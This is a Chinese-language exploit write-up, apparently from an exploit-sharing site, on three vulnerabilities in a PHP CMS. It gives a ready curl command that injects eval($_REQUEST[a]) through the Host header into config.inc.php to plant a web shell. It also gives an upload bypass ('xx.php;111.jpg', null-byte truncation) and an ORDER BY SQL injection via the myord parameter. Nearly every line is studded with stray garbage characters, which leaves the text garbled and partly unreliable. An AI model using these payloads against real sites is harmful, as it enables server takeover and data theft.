注入:0 l3 k% Y" @" K4 \% k
. e3 W8 x) g" I7 ^# C
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码 f k) a1 ^: \& `, Q2 T
~5 @+ l/ G! Q
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件4 O' d% ~. n A& N4 o$ u
鸡肋2: 有一定安全常识的站长都会删掉 install 目录2 y$ R9 |% ~* z0 l( A: ]9 y
/ y/ z. A* H2 M- Z8 z虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响1 ^+ z) S! g& |7 }
" K3 f, O. k$ ? k分析:
: l! I" |3 e' }0 ~2 M8 t8 v2 ? 0 Y6 A% t T: G: x6 |/ N% n
' h$ ~( y- u$ J. w" ^ _8 x$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
8 a$ b9 W6 H: O l, \
6 G8 _! r& f+ x& Q $filestr = fread(fopen($SysConfigFile, 'r'),30000);8 e# F( t; ~, R
$filestr=str_replace(" ","",$filestr);
* m5 e& T% e! v: j% u; h& ?4 P $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);+ s, T! b; y6 n( d
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
* x* s1 g/ W) U o $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, I \4 o( s! n- ~ $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);4 f a: t# J5 D/ v
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
! n) ~; Q" x1 N# E8 V3 ]0 e $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);$ _( E( {4 Q- c/ c
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
5 |8 F% J. A' {0 }& B8 w# x: Z , f! M0 T5 c/ K+ f2 z& `
fwrite(fopen($ConFile,"w"),$filestr,30000);& U. n2 L, E: o$ K5 R, R0 z
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^- D0 p0 B; A, I& N9 t- d" `
2 l4 I# v( M" F, dpoc:: P2 o* @/ z5 l% q# u; T
3 {" u6 {( o& ]# R% D1 H
?' F p1 B2 B1 x5 l% v
1
" I7 f" l# ^4 r( acurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": S4 H( ?4 M0 b4 Q! A7 S
shell地址: /config.inc.php
/ p+ h/ T4 x* u跟之前的 phpcms一样 需要远程数据库4 b3 d) y+ R$ A/ I- g
0 ~7 `8 l A+ g) X8 A0 U
——————————————————–
3 y' n# i6 @) j7 G上传漏洞(需要进后台):9 g5 P! [- P8 Z% O3 _, t; v
漏洞文件: /kedit/upload_cgi/upload.php) A) i, x0 d. o' y" S
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用* ]* _! }% T: G: a* @5 F
6 T/ f0 t$ h! a. F* ] O
/ t: x3 F0 \& o# n
<?php4 n+ \$ |1 T% N! `
define("ROOTPATH", "../../");5 M2 v/ w0 j* S0 f$ g4 h
include(ROOTPATH."includes/admin.inc.php");
! B6 W" e9 V$ W. t) l NeedAuth(0);
* |" U8 D0 q. _; N" F! q' H$ e
+ w: j9 S% @, ?5 p& F6 R6 X* Q $dt=date("Ymd",time());3 p% S% S- e( r2 v
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
' v$ z( Z/ Z( O8 T @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
' a: q8 t v( T5 r2 P4 b9 W }# G$ }; D; O, R2 c' w
' [, F6 C7 I0 X {( F
//文件保存目录路径( U* d' P7 i) {' W! W
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
+ h$ P: v5 Y, R echo $save_path;
+ T" d2 n2 N, A; G+ c+ Q$ Z( @ //文件保存目录URL
6 x' [! r$ M( D: T+ S9 ?/ O+ [ $save_url = '../../'.$_POST['attachPath'].$dt.'/';+ y, |3 V& S# O& R
* {3 ?# l. d8 F; U# a! f* \ //定义允许上传的文件扩展名' b, ^* y& |0 q9 f( F& F e( c
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀, h' E6 i' H" N9 x! O/ j
" F" X7 Z, [+ B$ b //最大文件大小 n7 G% e. w- H! ^6 Z
$max_size = 1000000;
" h& o' }/ G( p0 H 2 b, L# |! h8 a" G5 P/ O: \
//更改目录权限, K1 V& M, N( z5 e8 @- ^
@mkdir($save_path, 0777);, f" P* X: L! t% j
; u& X) a1 [( j //文件的全部路径4 s- O4 `) R) n3 g
$file_path = $save_path.$_POST['fileName']; //保存文件名
4 W* U1 b$ }9 i& s 9 ~; q- q6 A r' P1 f" b
//文件URL
1 c8 w0 ?8 t: [! R: F $file_url = $save_url.$_POST['fileName'];- u: k- q% s4 w/ X
//有上传文件时
: P) l7 Q3 W4 Y1 p5 B- g if (empty($_FILES) === false) {
, R( Q5 f4 r, a) c. ]" A 6 V2 n6 Z7 T5 `* H
//原文件名! f, U# Y& ?) X( B1 Z( q$ K
$file_name = $_FILES['fileData']['name'];
' S( l, H- _- O9 P5 Q% E% l //服务器上临时文件名
' c" f* N- U2 v) r' T $tmp_name = $_FILES['fileData']['tmp_name'];
! Z9 i, B1 n( ~" L3 F1 { //文件大小
, T+ a! P% ~% q0 v3 L/ ^ $file_size = $_FILES['fileData']['size'];7 n2 \, k# g4 P+ R0 C( k
//检查目录
9 |* Z5 I5 M" R$ t* ~3 J* V if (@is_dir($save_path) === false) {
# }; a) m* _% k$ F alert("上传目录不存在。");- Z/ F& s. `3 n& H( `6 X
}. Q' s3 I5 U' e8 ~
//检查目录写权限# M; u; K/ E ~
if (@is_writable($save_path) === false) {. H1 ~7 ?" g2 f3 h2 A& }: ^ K
alert("上传目录没有写权限。");
2 L0 \. i" }3 _0 q7 |+ Z# o" J }6 _& H# } @" V! c2 e# |
//检查是否已上传
- c8 @& A5 n/ x: }/ E) n# B5 V/ e! _ if (@is_uploaded_file($tmp_name) === false) {, h ]5 s6 p1 ?- U7 s
alert("临时文件可能不是上传文件。");6 B5 w* _" s0 h R% l# M& ^/ C I
}
. K& W1 ^7 U' l, r5 G# ]. \ //检查文件大小
" P( \% s; e" L) x! X! \6 Z if ($file_size > $max_size) {
* q6 }, W9 G0 S# t. w Y$ X alert("上传文件大小超过限制。");; e* |2 x; V( A Y( m
}- y' z L1 h0 W4 I" [
//获得文件扩展名
R/ ^2 _2 f9 _- u" X $temp_arr = explode(".", $_POST['fileName']);4 O- f( O% i9 T* e! R" a
$file_ext = array_pop($temp_arr);
/ U( b# z( P0 @% `% u5 C/ {: i $file_ext = trim($file_ext);
- z# a- j, @, D+ A0 O# ? $file_ext = strtolower($file_ext); ?8 ~& `, F2 v' @' W$ Q
, V2 m3 S0 D4 s$ r& E0 p //检查扩展名
1 S8 f/ t) w! F5 s" j if (in_array($file_ext, $ext_arr) === false) {
9 y& `) A; U; I8 n: Y4 @3 @ alert("上传文件扩展名是不允许的扩展名。");
% ]" W" c( t5 H6 Y6 }. n }& i2 }0 I/ \. [$ d8 I* m! M0 O0 |( k2 ^
$ m$ s5 V: c# N' z. u //移动文件
3 U3 j# `' W% I //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
. Z# X1 R4 L% R- |+ K if (move_uploaded_file($tmp_name, $file_path) === false) {
6 v' K- c- X: ?# ? alert("上传文件失败。");
; H) v1 p5 Y2 C# V$ E }
- P9 r/ T$ }( o; I
% }0 i8 ~% e& A: t. ^, b- d @chmod($file_path,0666);4 A$ [8 e C" A/ N4 }$ @
9 W+ \7 C, _4 d1 F- Y* T% y
?>
+ W' z. w0 v1 l3 y) y抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2278 O" }2 p" o+ v) S& h
! p7 f0 ^8 I1 T5 ^apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
- o# g/ u9 z; S& p% \2 B # _0 j; G, Z+ S3 h1 }. x
——————————————————
9 m2 j' \" |6 n+ |! q" |1 Z: h! t _注入漏洞:- t" o" E. M- H4 o; [9 p, Q
漏洞文件:search/module/search.php# ?' O- O+ F; a) S2 Y7 ]
/search/index.php?key=1&myord=1 [sqlinjection]
1 f2 z' F3 j4 @& G( h; {: e. ?
$ q3 d, u$ V1 R9 `. z 3 a+ Q. n+ K: h6 e% A% m
<?php
3 t# P9 C4 \1 ^5 F0 n/ d // ... 省略 n 行...
; n6 }: y- k& o, g g# d //第18行:
( O1 c5 ~: s" z6 N5 S( k' w $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
; Y# X3 `9 L. t" K, m $page=htmlspecialchars($_GET["page"]);
9 m/ _2 g2 a! c. E- F1 z& I0 [) g $myord=htmlspecialchars($_GET["myord"]);; d( n7 W9 d6 ]1 n3 v
- F& p2 {# p7 r0 k; W" z" q
// ... 省略 n 行...( b" {# k7 j* u( U
$key,$myord 两个参数带入查询3 R! a6 z: }5 {3 A2 d9 I
//第47行 $key:
/ a+ S2 m7 R9 h9 C; m/ v9 ^( P
# O1 F) P& I: V $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..; h1 \2 z* V$ s0 F7 Z4 H, Z
" Z$ l$ e8 o2 z
//第197行 $myord" O2 X' b/ F1 B9 k+ @7 g. f
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
$ E! w; l" P/ q( h$ q8 K 2 W0 ~ @5 P0 H; ^
?>" c, `9 M1 o: r. M2 \& {# t
|